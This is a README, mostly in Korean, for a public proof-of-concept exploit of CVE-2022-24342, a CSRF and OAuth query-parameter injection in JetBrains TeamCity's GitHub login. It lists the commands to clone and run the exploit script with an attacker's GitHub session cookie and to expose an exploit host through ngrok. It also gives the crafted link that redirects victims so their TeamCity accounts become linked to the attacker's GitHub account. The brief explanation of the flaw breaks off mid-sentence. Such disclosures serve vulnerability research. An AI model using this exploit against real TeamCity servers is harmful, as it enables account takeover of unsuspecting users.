
PoC for CVE-2022-24342: account takeover via CSRF in GitHub authentication
JetBrains TeamCity - GitHub 인증의 CSRF를 통한 계정 탈취 (PoC)
공격자의 GitHub 계정으로 대상 TeamCity 인스턴스에 로그인을 시도하여 TeamCity의 GitHub 애플리케이션을 인증 상태로 만듭니다.
다음을 설치 및 실행합니다:
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
로컬 머신에서 익스플로잇을 실행하는 경우 Ngrok이나 대체 도구가 필요할 수 있습니다.
$ ngrok http 8000
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
데모:
TeamCity는 OAuth2 흐름 중 쿼리 파라미터 주입 취약점이 발생하여, 공격자가 사용자를 임의의 GitHub OAuth2 애플리케이션으로 리디렉션하고, 유효한 state 파라미터를 가로채, 피해자의 TeamCity 계정에 임의의 GitHub 계정을 연결할 수 있었습니다.
이는 다음 요소들 덕분에 가능했습니다:

